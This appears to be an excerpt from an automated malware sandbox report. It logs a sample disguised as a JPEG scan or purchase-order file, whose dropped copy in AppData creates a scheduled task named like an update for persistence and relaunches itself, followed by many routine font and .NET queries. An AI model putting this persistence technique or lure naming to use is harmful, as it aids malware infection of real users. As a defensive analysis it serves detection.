Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpCB45.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process created: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
